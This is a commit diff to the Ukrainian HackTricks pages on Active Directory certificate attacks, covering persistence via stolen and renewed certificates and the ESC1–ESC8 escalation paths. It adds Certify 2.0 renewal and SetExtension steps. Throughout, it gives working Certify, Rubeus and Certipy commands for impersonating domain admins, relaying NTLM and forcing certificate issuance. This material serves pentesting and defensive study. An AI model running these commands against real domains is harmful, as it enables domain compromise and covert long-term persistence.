Translated ['src/windows-hardening/active-directory-methodology/ad-certi

2025-10-10 18:36:50 +00:00 · 2025-08-13 18:38:18 +00:00 · 2025-08-13 18:38:18 +00:00 · 02a2ab92bc
commit 02a2ab92bc
parent 17a38247fd
2 changed files with 112 additions and 57 deletions
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md
@ -2,11 +2,11 @@

 {{#include ../../../banners/hacktricks-training.md}}

-**Це невеликий підсумок розділів про збереження машини з чудового дослідження з [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
+**Це невеликий підсумок розділів про збереження на машині з чудового дослідження з [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**

 ## **Розуміння крадіжки облікових даних активного користувача за допомогою сертифікатів – PERSIST1**

-У сценарії, де сертифікат, що дозволяє автентифікацію домену, може бути запитаний користувачем, зловмисник має можливість **запитати** та **вкрасти** цей сертифікат, щоб **підтримувати збереження** в мережі. За замовчуванням шаблон `User` в Active Directory дозволяє такі запити, хоча іноді він може бути вимкнений.
+У сценарії, де сертифікат, що дозволяє автентифікацію домену, може бути запитаний користувачем, зловмисник має можливість **запросити** та **вкрасти** цей сертифікат, щоб **підтримувати збереження** в мережі. За замовчуванням шаблон `User` в Active Directory дозволяє такі запити, хоча іноді він може бути вимкнений.

 Використовуючи інструмент під назвою [**Certify**](https://github.com/GhostPack/Certify), можна шукати дійсні сертифікати, які забезпечують постійний доступ:
 ```bash
@ -18,11 +18,11 @@ Certify.exe find /clientauth
 ```bash
 Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME
 ```
-Після успішного запиту генерується сертифікат разом з його приватним ключем у форматі `.pem`. Щоб перетворити це в файл `.pfx`, який можна використовувати в системах Windows, використовується наступна команда:
+Після успішного запиту сертифікат разом із його приватним ключем генерується у форматі `.pem`. Щоб перетворити це в файл `.pfx`, який можна використовувати в системах Windows, використовується наступна команда:
 ```bash
 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
 ```
-Файл `.pfx` потім може бути завантажений на цільову систему і використаний з інструментом під назвою [**Rubeus**](https://github.com/GhostPack/Rubeus) для запиту квитка на отримання квитка (TGT) для користувача, продовжуючи доступ зловмисника на стільки, наскільки сертифікат є **дійсним** (зазвичай один рік):
+Файл `.pfx` можна завантажити на цільову систему та використовувати з інструментом під назвою [**Rubeus**](https://github.com/GhostPack/Rubeus) для запиту квитка на отримання квитка (TGT) для користувача, продовжуючи доступ зловмисника на стільки, наскільки сертифікат є **дійсним** (зазвичай один рік):
 ```bash
 Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass!
 ```
@ -34,12 +34,23 @@ Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass
 ```bash
 Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
 ```
-Цей доступ дозволяє зловмиснику автентифікуватися в **Kerberos** як обліковий запис машини та використовувати **S4U2Self** для отримання квитків сервісу Kerberos для будь-якого сервісу на хості, ефективно надаючи зловмиснику постійний доступ до машини.
+Цей доступ дозволяє зловмиснику автентифікуватися в **Kerberos** як обліковий запис машини та використовувати **S4U2Self** для отримання квитків служби Kerberos для будь-якої служби на хості, ефективно надаючи зловмиснику постійний доступ до машини.

-## **Розширення постійності через оновлення сертифікатів - PERSIST3**
+## **Розширення постійності через поновлення сертифікатів - PERSIST3**

-Останній обговорюваний метод передбачає використання **термінів дії** та **періодів оновлення** шаблонів сертифікатів. Оновлюючи сертифікат до його закінчення терміну дії, зловмисник може підтримувати автентифікацію в Active Directory без необхідності додаткових реєстрацій квитків, які можуть залишити сліди на сервері сертифікаційного центру (CA).
+Останній обговорюваний метод полягає у використанні **термінів дії** та **періодів поновлення** шаблонів сертифікатів. Поновлюючи сертифікат до його закінчення терміну дії, зловмисник може підтримувати автентифікацію в Active Directory без необхідності додаткових реєстрацій квитків, які можуть залишити сліди на сервері Центру сертифікації (CA).

-Цей підхід дозволяє використовувати метод **розширеної постійності**, мінімізуючи ризик виявлення через меншу кількість взаємодій з сервером CA та уникаючи генерації артефактів, які можуть сповістити адміністраторів про вторгнення.
+### Поновлення сертифікатів з Certify 2.0
+
+Починаючи з **Certify 2.0**, процес поновлення повністю автоматизований через нову команду `request-renew`. З урахуванням раніше виданого сертифіката (в **форматі base-64 PKCS#12**) зловмисник може поновити його без взаємодії з оригінальним власником – ідеально для прихованої, довгострокової постійності:
+```powershell
+Certify.exe request-renew --ca SERVER\\CA-NAME \
+--cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA...   # original PFX
+```
+Команда поверне новий PFX, який дійсний ще на один повний термін, що дозволяє вам продовжувати автентифікацію навіть після того, як перший сертифікат закінчує термін дії або відкликується.
+
+## References
+
+- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
@ -24,7 +24,7 @@
 - Active Directory (AD) надає пріоритет subjectAltName (SAN) у сертифікаті для перевірки особи, якщо він присутній. Це означає, що, вказуючи SAN у CSR, можна запросити сертифікат для імпersonації будь-якого користувача (наприклад, адміністратора домену). Чи може запитувач вказати SAN, вказується в об'єкті AD шаблону сертифіката через властивість `mspki-certificate-name-flag`. Ця властивість є бітовою маскою, і наявність прапора `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` дозволяє запитувачу вказувати SAN.

 > [!CAUTION]
-> Описана конфігурація дозволяє користувачам з низькими привілеями запитувати сертифікати з будь-яким вибраним SAN, що дозволяє аутентифікацію як будь-якого доменного принципала через Kerberos або SChannel.
+> Налаштування, описане вище, дозволяє користувачам з низькими привілеями запитувати сертифікати з будь-яким вибраним SAN, що дозволяє аутентифікацію як будь-якого доменного принципала через Kerberos або SChannel.

 Ця функція іноді активується для підтримки генерації HTTPS або хост-сертифікатів на льоту продуктами або службами розгортання, або через брак розуміння.

@ -47,9 +47,9 @@ certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.loc
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
 ```
-Віконні бінарники "Certreq.exe" та "Certutil.exe" можуть бути використані для генерації PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
+Віконні двійкові файли "Certreq.exe" та "Certutil.exe" можуть бути використані для генерації PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

-Перерахунок шаблонів сертифікатів у конфігураційній схемі лісу AD, зокрема тих, що не потребують затвердження або підписів, які мають EKU для клієнтської аутентифікації або Smart Card Logon, та з увімкненим прапором `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, можна виконати, запустивши наступний LDAP запит:
+Перерахунок шаблонів сертифікатів у конфігураційній схемі лісу AD, зокрема тих, які не потребують затвердження або підписів, що мають EKU для клієнтської аутентифікації або Smart Card Logon, та з увімкненим прапором `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, можна виконати, запустивши наступний LDAP запит:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
 ```
@ -59,19 +59,19 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo

 Другий сценарій зловживання є варіацією першого:

-1. Права на реєстрацію надаються користувачам з низькими привілеями через Enterprise CA.
-2. Вимога на затвердження менеджером вимкнена.
+1. Права на реєстрацію надаються користувачам з низькими привілеями корпоративним ЦС.
+2. Вимога на затвердження менеджера вимкнена.
 3. Необхідність авторизованих підписів пропущена.
 4. Надмірно дозволяючий дескриптор безпеки на шаблоні сертифіката надає права на реєстрацію сертифікатів користувачам з низькими привілеями.
 5. **Шаблон сертифіката визначено так, щоб включати Any Purpose EKU або не мати EKU.**

-**Any Purpose EKU** дозволяє зловмиснику отримати сертифікат для **будь-якої мети**, включаючи автентифікацію клієнта, автентифікацію сервера, підписання коду тощо. Така ж **техніка, що використовується для ESC3**, може бути застосована для експлуатації цього сценарію.
+**Any Purpose EKU** дозволяє зловмиснику отримати сертифікат для **будь-якої мети**, включаючи автентифікацію клієнта, автентифікацію сервера, підписання коду тощо. Та ж **техніка, що використовується для ESC3**, може бути застосована для експлуатації цього сценарію.

-Сертифікати з **без EKU**, які діють як сертифікати підпорядкованого CA, можуть бути використані для **будь-якої мети** і **також можуть бути використані для підписання нових сертифікатів**. Отже, зловмисник може вказати довільні EKU або поля в нових сертифікатах, використовуючи сертифікат підпорядкованого CA.
+Сертифікати з **без EKU**, які діють як сертифікати підлеглого ЦС, можуть бути використані для **будь-якої мети** і **також можуть бути використані для підписання нових сертифікатів**. Отже, зловмисник може вказати довільні EKU або поля в нових сертифікатах, використовуючи сертифікат підлеглого ЦС.

-Однак нові сертифікати, створені для **автентифікації домену**, не будуть функціонувати, якщо підпорядкований CA не довіряється об'єкту **`NTAuthCertificates`**, що є налаштуванням за замовчуванням. Проте зловмисник все ще може створювати **нові сертифікати з будь-яким EKU** та довільними значеннями сертифікатів. Ці сертифікати можуть бути потенційно **зловживані** для широкого спектру цілей (наприклад, підписання коду, автентифікація сервера тощо) і можуть мати значні наслідки для інших додатків у мережі, таких як SAML, AD FS або IPSec.
+Однак нові сертифікати, створені для **автентифікації домену**, не працюватимуть, якщо підлеглий ЦС не довіряється об'єкту **`NTAuthCertificates`**, що є налаштуванням за замовчуванням. Проте зловмисник все ще може створювати **нові сертифікати з будь-яким EKU** та довільними значеннями сертифікатів. Ці сертифікати можуть бути потенційно **зловживані** для широкого спектру цілей (наприклад, підписання коду, автентифікація сервера тощо) і можуть мати значні наслідки для інших додатків у мережі, таких як SAML, AD FS або IPSec.

-Щоб перерахувати шаблони, які відповідають цьому сценарію в конфігураційній схемі AD Forest, можна виконати наступний LDAP запит:
+Щоб перерахувати шаблони, які відповідають цьому сценарію в конфігураційній схемі лісу AD, можна виконати наступний LDAP-запит:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
 ```
@ -81,13 +81,13 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo

 Цей сценарій схожий на перший і другий, але **зловживає** **іншим EKU** (Агент запиту сертифіката) та **2 різними шаблонами** (отже, має 2 набори вимог),

-**EKU агента запиту сертифіката** (OID 1.3.6.1.4.1.311.20.2.1), відомий як **Агент реєстрації** в документації Microsoft, дозволяє суб'єкту **реєструватися** на **сертифікат** **від імені іншого користувача**.
+**EKU агента запиту сертифіката** (OID 1.3.6.1.4.1.311.20.2.1), відомий як **Агент реєстрації** в документації Microsoft, дозволяє суб'єкту **реєструвати** **сертифікат** **від імені іншого користувача**.

 **“Агент реєстрації”** реєструється в такому **шаблоні** і використовує отриманий **сертифікат для спільного підписання CSR від імені іншого користувача**. Потім він **надсилає** **спільно підписаний CSR** до CA, реєструючись у **шаблоні**, який **дозволяє “реєстрацію від імені”**, і CA відповідає **сертифікатом, що належить “іншому” користувачу**.

 **Вимоги 1:**

- Права на реєстрацію надаються користувачам з низькими привілеями корпоративним CA.
+- Права на реєстрацію надаються користувачам з низькими привілеями через Enterprise CA.
 - Вимога на затвердження менеджера пропускається.
 - Немає вимоги на авторизовані підписи.
 - Безпековий дескриптор шаблону сертифіката є надмірно дозволяючим, надаючи права на реєстрацію користувачам з низькими привілеями.
@ -95,7 +95,7 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo

 **Вимоги 2:**

- Корпоративний CA надає права на реєстрацію користувачам з низькими привілеями.
+- Enterprise CA надає права на реєстрацію користувачам з низькими привілеями.
 - Затвердження менеджера обходиться.
 - Версія схеми шаблону є або 1, або перевищує 2, і вона вказує на вимогу політики застосування, яка вимагає EKU агента запиту сертифіката.
 - EKU, визначений у шаблоні сертифіката, дозволяє доменну аутентифікацію.
@ -119,7 +119,7 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
 ```
 **Користувачі**, яким дозволено **отримувати** **сертифікат агента реєстрації**, шаблони, в яких агентам реєстрації дозволено реєструватися, та **облікові записи**, від імені яких агент реєстрації може діяти, можуть бути обмежені корпоративними ЦС. Це досягається шляхом відкриття `certsrc.msc` **додатку**, **клацання правою кнопкою миші на ЦС**, **вибору Властивості**, а потім **переміщення** на вкладку “Агенти реєстрації”.

-Однак зазначено, що **за замовчуванням** налаштування для ЦС полягає в тому, щоб “**Не обмежувати агентів реєстрації**.” Коли обмеження для агентів реєстрації активується адміністраторами, встановлення його на “Обмежити агентів реєстрації” залишає конфігурацію надзвичайно ліберальною. Це дозволяє **Усім** отримати доступ до реєстрації в усіх шаблонах як будь-хто.
+Однак зазначено, що **за замовчуванням** налаштування для ЦС полягає в тому, щоб “**Не обмежувати агентів реєстрації**.” Коли обмеження для агентів реєстрації активується адміністраторами, встановлення його на “Обмежити агентів реєстрації” залишає конфігурацію за замовчуванням надзвичайно ліберальною. Це дозволяє **Усім** отримати доступ до реєстрації в усіх шаблонах як будь-хто.

 ## Вразливий контроль доступу до шаблону сертифіката - ESC4

@ -132,10 +132,10 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
 Значні дозволи, що застосовуються до шаблонів сертифікатів, включають:

 - **Власник:** Надає неявний контроль над об'єктом, дозволяючи змінювати будь-які атрибути.
- **FullControl:** Дозволяє повну владу над об'єктом, включаючи можливість змінювати будь-які атрибути.
- **WriteOwner:** Дозволяє змінювати власника об'єкта на принципала під контролем зловмисника.
- **WriteDacl:** Дозволяє коригувати контроль доступу, потенційно надаючи зловмиснику FullControl.
- **WriteProperty:** Авторизує редагування будь-яких властивостей об'єкта.
+- **Повний контроль:** Дозволяє повну владу над об'єктом, включаючи можливість змінювати будь-які атрибути.
+- **Змінити власника:** Дозволяє змінювати власника об'єкта на принципала під контролем зловмисника.
+- **Змінити DACL:** Дозволяє коригувати контроль доступу, потенційно надаючи зловмиснику Повний контроль.
+- **Змінити властивість:** Дозволяє редагувати будь-які властивості об'єкта.

 ### Зловживання

@ -143,7 +143,7 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password

 <figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>

-ESC4 - це коли користувач має права на запис над шаблоном сертифіката. Це може, наприклад, бути зловжито для переписування конфігурації шаблона сертифіката, щоб зробити шаблон вразливим до ESC1.
+ESC4 - це коли користувач має права на запис над шаблоном сертифіката. Це може, наприклад, бути зловжито для переписування конфігурації шаблону сертифіката, щоб зробити шаблон вразливим до ESC1.

 Як ми бачимо в наведеному вище шляху, лише `JOHNPC` має ці привілеї, але наш користувач `JOHN` має новий `AddKeyCredentialLink` до `JOHNPC`. Оскільки ця техніка пов'язана з сертифікатами, я також реалізував цю атаку, яка відома як [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ось невеликий попередній перегляд команди `shadow auto` Certipy для отримання NT хешу жертви.
 ```bash
@ -176,9 +176,9 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes

 ### Пояснення

-Тема, обговорена в [**пості CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage), також торкається наслідків прапора **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, як зазначено Microsoft. Ця конфігурація, коли вона активована на Центрі сертифікації (CA), дозволяє включати **значення, визначені користувачем**, у **додаткову назву суб'єкта** для **будь-якого запиту**, включаючи ті, що створені з Active Directory®. Внаслідок цього, ця можливість дозволяє **зловмиснику** зареєструватися через **будь-який шаблон**, налаштований для **автентифікації** домену — зокрема, ті, що відкриті для реєстрації **непривілейованими** користувачами, такі як стандартний шаблон користувача. Як результат, сертифікат може бути отриманий, що дозволяє зловмиснику автентифікуватися як доменний адміністратор або **будь-яка інша активна сутність** в домені.
+Тема, обговорена в [**пості CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage), також торкається наслідків прапора **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, як зазначено компанією Microsoft. Ця конфігурація, коли вона активована на Центрі сертифікації (CA), дозволяє включати **значення, визначені користувачем**, у **додаткову назву суб'єкта** для **будь-якого запиту**, включаючи ті, що створені з Active Directory®. Внаслідок цього, ця можливість дозволяє **зловмиснику** зареєструватися через **будь-який шаблон**, налаштований для **автентифікації** домену — зокрема, ті, що відкриті для реєстрації **непривілейованими** користувачами, такі як стандартний шаблон користувача. Як результат, сертифікат може бути отриманий, що дозволяє зловмиснику автентифікуватися як доменний адміністратор або **будь-яка інша активна сутність** в домені.

-**Примітка**: Метод додавання **додаткових назв** у Запит на підпис сертифіката (CSR) через аргумент `-attrib "SAN:"` у `certreq.exe` (який називається “Пари Ім'я Значення”), представляє **контраст** з експлуатаційною стратегією SAN у ESC1. Тут відмінність полягає в **тому, як інформація про обліковий запис інкапсульована** — в атрибуті сертифіката, а не в розширенні.
+**Примітка**: Підхід до додавання **додаткових назв** у Запит на підпис сертифіката (CSR) через аргумент `-attrib "SAN:"` у `certreq.exe` (який називається “Пари імен та значень”), представляє **контраст** з експлуатаційною стратегією SAN у ESC1. Тут відмінність полягає в **тому, як інформація про обліковий запис інкапсульована** — в атрибуті сертифіката, а не в розширенні.

 ### Зловживання

@ -225,9 +225,9 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuth

 #### Зловживання

-Наявність прав **`ManageCA`** на центрі сертифікації дозволяє суб'єкту віддалено маніпулювати налаштуваннями за допомогою PSPKI. Це включає в себе перемикання прапорця **`EDITF_ATTRIBUTESUBJECTALTNAME2`** для дозволу специфікації SAN у будь-якому шаблоні, що є критичним аспектом ескалації домену.
+Наявність прав **`ManageCA`** на центрі сертифікації дозволяє суб'єкту віддалено маніпулювати налаштуваннями за допомогою PSPKI. Це включає в себе перемикання прапора **`EDITF_ATTRIBUTESUBJECTALTNAME2`** для дозволу специфікації SAN у будь-якому шаблоні, що є критичним аспектом ескалації домену.

-Спрощення цього процесу можливе за допомогою cmdlet **Enable-PolicyModuleFlag** PSPKI, що дозволяє вносити зміни без прямої взаємодії з GUI.
+Спрощення цього процесу можливе за допомогою використання cmdlet **Enable-PolicyModuleFlag** PSPKI, що дозволяє вносити зміни без прямої взаємодії з GUI.

 Володіння правами **`ManageCertificates`** полегшує затвердження очікуючих запитів, ефективно обходячи захист "затвердження менеджера сертифікатів CA".

@ -252,7 +252,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 #### Explanation

 > [!WARNING]
-> У **попередньому нападі** **`Manage CA`** дозволи використовувалися для **включення** прапора **EDITF_ATTRIBUTESUBJECTALTNAME2** для виконання **ESC6 атаки**, але це не матиме жодного ефекту, поки служба CA (`CertSvc`) не буде перезапущена. Коли у користувача є право доступу **`Manage CA`**, користувач також має право **перезапустити службу**. Однак це **не означає, що користувач може перезапустити службу віддалено**. Крім того, E**SC6 може не працювати з коробки** у більшості патчених середовищ через оновлення безпеки травня 2022 року.
+> У **попередньому нападі** **`Manage CA`** дозволи використовувалися для **включення** прапора **EDITF_ATTRIBUTESUBJECTALTNAME2** для виконання **ESC6 атаки**, але це не матиме жодного ефекту, поки служба CA (`CertSvc`) не буде перезапущена. Коли у користувача є право доступу **`Manage CA`**, користувач також має право **перезапустити службу**. Однак це **не означає, що користувач може перезапустити службу віддалено**. Крім того, E**SC6 може не працювати з коробки** у більшості патчованих середовищ через оновлення безпеки травня 2022 року.

 Тому тут представлено інший напад.

@ -299,7 +299,7 @@ Would you like to save the private key? (y/N) y
 [*] Saved private key to 785.key
 [-] Failed to request certificate
 ```
-З нашими **`Manage CA` та `Manage Certificates`** ми можемо **випустити запит на сертифікат, що не вдався** за допомогою команди `ca` та параметра `-issue-request <request ID>`.
+З нашими **`Manage CA` та `Manage Certificates`** ми можемо **випустити невдалий запит на сертифікат** за допомогою команди `ca` та параметра `-issue-request <request ID>`.
 ```bash
 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -318,27 +318,67 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Loaded private key from '785.key'
 [*] Saved certificate and private key to 'administrator.pfx'
 ```
-## NTLM Relay до AD CS HTTP кінцевих точок – ESC8
+### Attack 3 – Зловживання розширеннями сертифікатів (SetExtension)
+
+#### Пояснення
+
+На додаток до класичних зловживань ESC7 (увімкнення атрибутів EDITF або схвалення очікуючих запитів), **Certify 2.0** виявив абсолютно новий примітив, який вимагає лише ролі *Управління сертифікатами* (також відомої як **Менеджер сертифікатів / Офіцер**) на корпоративному ЦС.
+
+Метод `ICertAdmin::SetExtension` RPC може бути виконаний будь-яким суб'єктом, що має *Управління сертифікатами*. Хоча метод традиційно використовувався легітимними ЦС для оновлення розширень на **очікуючих** запитах, зловмисник може зловживати ним, щоб **додати *не за замовчуванням* розширення сертифіката** (наприклад, власний OID *Політики видачі сертифікатів*, такий як `1.1.1.1`) до запиту, що чекає на схвалення.
+
+Оскільки цільовий шаблон **не визначає значення за замовчуванням для цього розширення**, ЦС НЕ перезапише значення, контрольоване зловмисником, коли запит буде врешті-решт видано. Отже, отриманий сертифікат міститиме розширення, обране зловмисником, яке може:
+
+* Відповідати вимогам політики застосування / видачі інших вразливих шаблонів (призводячи до ескалації привілеїв).
+* Впроваджувати додаткові EKU або політики, які надають сертифікату несподівану довіру в сторонніх системах.
+
+Коротше кажучи, *Управління сертифікатами* – раніше вважалося "менш потужною" частиною ESC7 – тепер може бути використано для повної ескалації привілеїв або тривалої стійкості, не торкаючись конфігурації ЦС або не вимагаючи більш обмежувального права *Управління ЦС*.
+
+#### Зловживання примітивом з Certify 2.0
+
+1. **Подайте запит на сертифікат, який залишиться *очікуючим*.** Це можна примусити за допомогою шаблону, що вимагає схвалення менеджера:
+```powershell
+Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
+# Зверніть увагу на повернений ID запиту
+```
+
+2. **Додайте власне розширення до очікуючого запиту** за допомогою нової команди `manage-ca`:
+```powershell
+Certify.exe manage-ca --ca SERVER\\CA-NAME \
+--request-id 1337 \
+--set-extension "1.1.1.1=DER,10,01 01 00 00"  # фальшивий OID політики видачі
+```
+*Якщо шаблон вже не визначає розширення *Політики видачі сертифікатів*, вище наведене значення буде збережено після видачі.*
+
+3. **Видати запит** (якщо ваша роль також має права схвалення *Управління сертифікатами*) або почекати, поки оператор його схвалить. Після видачі завантажте сертифікат:
+```powershell
+Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
+```
+
+4. Отриманий сертифікат тепер містить зловмисний OID політики видачі і може бути використаний у подальших атаках (наприклад, ESC13, ескалація домену тощо).
+
+> ЗАУВАЖЕННЯ: Ту ж атаку можна виконати з Certipy ≥ 4.7 через команду `ca` та параметр `-set-extension`.
+
+## NTLM Relay до HTTP-інтерфейсів AD CS – ESC8

 ### Пояснення

 > [!TIP]
 > У середовищах, де **встановлено AD CS**, якщо існує **вразливий веб-інтерфейс для реєстрації** і принаймні один **шаблон сертифіката опубліковано**, що дозволяє **реєстрацію комп'ютерів домену та автентифікацію клієнтів** (такий як за замовчуванням **`Machine`** шаблон), стає можливим, щоб **будь-який комп'ютер з активною службою спулера був скомпрометований зловмисником**!

-Кілька **методів реєстрації на основі HTTP** підтримуються AD CS, які доступні через додаткові серверні ролі, які можуть встановити адміністратори. Ці інтерфейси для реєстрації сертифікатів на основі HTTP вразливі до **атак NTLM реле**. Зловмисник з **скомпрометованої машини може видавати себе за будь-який обліковий запис AD, який автентифікується через вхідний NTLM**. В той час як зловмисник видає себе за обліковий запис жертви, ці веб-інтерфейси можуть бути доступні зловмиснику для **запиту сертифіката автентифікації клієнта, використовуючи шаблони сертифікатів `User` або `Machine`**.
+Кілька **методів реєстрації на основі HTTP** підтримуються AD CS, які доступні через додаткові ролі сервера, які можуть встановлювати адміністратори. Ці інтерфейси для реєстрації сертифікатів на основі HTTP вразливі до **атак NTLM relay**. Зловмисник з **скомпрометованої машини може видавати себе за будь-який обліковий запис AD, який автентифікується через вхідний NTLM**. В той час як зловмисник видає себе за обліковий запис жертви, ці веб-інтерфейси можуть бути доступні зловмисником для **запиту сертифіката автентифікації клієнта, використовуючи шаблони сертифікатів `User` або `Machine`**.

- **Веб-інтерфейс реєстрації** (старий ASP-додаток, доступний за адресою `http://<caserver>/certsrv/`), за замовчуванням підтримує лише HTTP, що не забезпечує захисту від атак NTLM реле. Крім того, він явно дозволяє лише NTLM автентифікацію через свій заголовок Authorization HTTP, що робить більш безпечні методи автентифікації, такі як Kerberos, непридатними.
- **Служба реєстрації сертифікатів** (CES), **Політика реєстрації сертифікатів** (CEP) Веб-сервіс і **Служба реєстрації мережевих пристроїв** (NDES) за замовчуванням підтримують автентифікацію negotiate через свій заголовок Authorization HTTP. Автентифікація negotiate **підтримує як** Kerberos, так і **NTLM**, що дозволяє зловмиснику **знизити рівень до NTLM** автентифікації під час атак реле. Хоча ці веб-сервіси за замовчуванням активують HTTPS, HTTPS сам по собі **не захищає від атак NTLM реле**. Захист від атак NTLM реле для HTTPS-сервісів можливий лише тоді, коли HTTPS поєднується з прив'язкою каналу. На жаль, AD CS не активує Розширений захист для автентифікації на IIS, що є необхідним для прив'язки каналу.
+- **Веб-інтерфейс реєстрації** (старий ASP-додаток, доступний за адресою `http://<caserver>/certsrv/`), за замовчуванням використовує лише HTTP, що не забезпечує захисту від атак NTLM relay. Крім того, він явно дозволяє лише автентифікацію NTLM через свій заголовок Authorization HTTP, що робить більш безпечні методи автентифікації, такі як Kerberos, непридатними.
+- **Служба реєстрації сертифікатів** (CES), **Служба політики реєстрації сертифікатів** (CEP) та **Служба реєстрації мережевих пристроїв** (NDES) за замовчуванням підтримують автентифікацію negotiate через свій заголовок Authorization HTTP. Автентифікація negotiate **підтримує як** Kerberos, так і **NTLM**, що дозволяє зловмиснику **знизити рівень до NTLM** автентифікації під час атак relay. Хоча ці веб-сервіси за замовчуванням активують HTTPS, сам по собі HTTPS **не захищає від атак NTLM relay**. Захист від атак NTLM relay для HTTPS-сервісів можливий лише тоді, коли HTTPS поєднується з прив'язкою каналу. На жаль, AD CS не активує Розширений захист для автентифікації на IIS, що є необхідним для прив'язки каналу.

-Звичайною **проблемою** атак NTLM реле є **коротка тривалість сесій NTLM** та неможливість зловмисника взаємодіяти з сервісами, які **вимагають підписування NTLM**.
+Звичайною **проблемою** атак NTLM relay є **коротка тривалість сесій NTLM** та неможливість зловмисника взаємодіяти з сервісами, які **вимагають підписування NTLM**.

-Проте, це обмеження подолано шляхом використання атаки NTLM реле для отримання сертифіката для користувача, оскільки термін дії сертифіката визначає тривалість сесії, а сертифікат може бути використаний з сервісами, які **вимагають підписування NTLM**. Для інструкцій щодо використання вкраденого сертифіката зверніться до:
+Проте, це обмеження подолано шляхом використання атаки NTLM relay для отримання сертифіката для користувача, оскільки термін дії сертифіката визначає тривалість сесії, а сертифікат може бути використаний з сервісами, які **вимагають підписування NTLM**. Для інструкцій щодо використання вкраденого сертифіката зверніться до:

 {{#ref}}
 account-persistence.md
 {{#endref}}

-Ще одне обмеження атак NTLM реле полягає в тому, що **машина, контрольована зловмисником, повинна бути автентифікована обліковим записом жертви**. Зловмисник може або чекати, або намагатися **примусити** цю автентифікацію:
+Ще одне обмеження атак NTLM relay полягає в тому, що **машина, контрольована зловмисником, повинна бути автентифікована обліковим записом жертви**. Зловмисник може або почекати, або спробувати **примусити** цю автентифікацію:

 {{#ref}}
 ../printers-spooler-service-abuse.md
@ -346,7 +386,7 @@ account-persistence.md

 ### **Зловживання**

-[**Certify**](https://github.com/GhostPack/Certify)’s `cas` перераховує **включені HTTP AD CS кінцеві точки**:
+[**Certify**](https://github.com/GhostPack/Certify)’s `cas` перераховує **включені HTTP-інтерфейси AD CS**:
 ```
 Certify.exe cas
 ```
@ -382,7 +422,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <

 Запит на сертифікат за замовчуванням здійснюється Certipy на основі шаблону `Machine` або `User`, залежно від того, чи закінчується ім'я облікового запису, що передається, на `$`. Вказати альтернативний шаблон можна за допомогою параметра `-template`.

-Техніка, така як [PetitPotam](https://github.com/ly4k/PetitPotam), може бути використана для примусу аутентифікації. При роботі з контролерами домену необхідно вказати `-template DomainController`.
+Техніку, таку як [PetitPotam](https://github.com/ly4k/PetitPotam), можна використовувати для примусу аутентифікації. При роботі з контролерами домену необхідно вказати `-template DomainController`.
 ```bash
 certipy relay -ca ca.corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
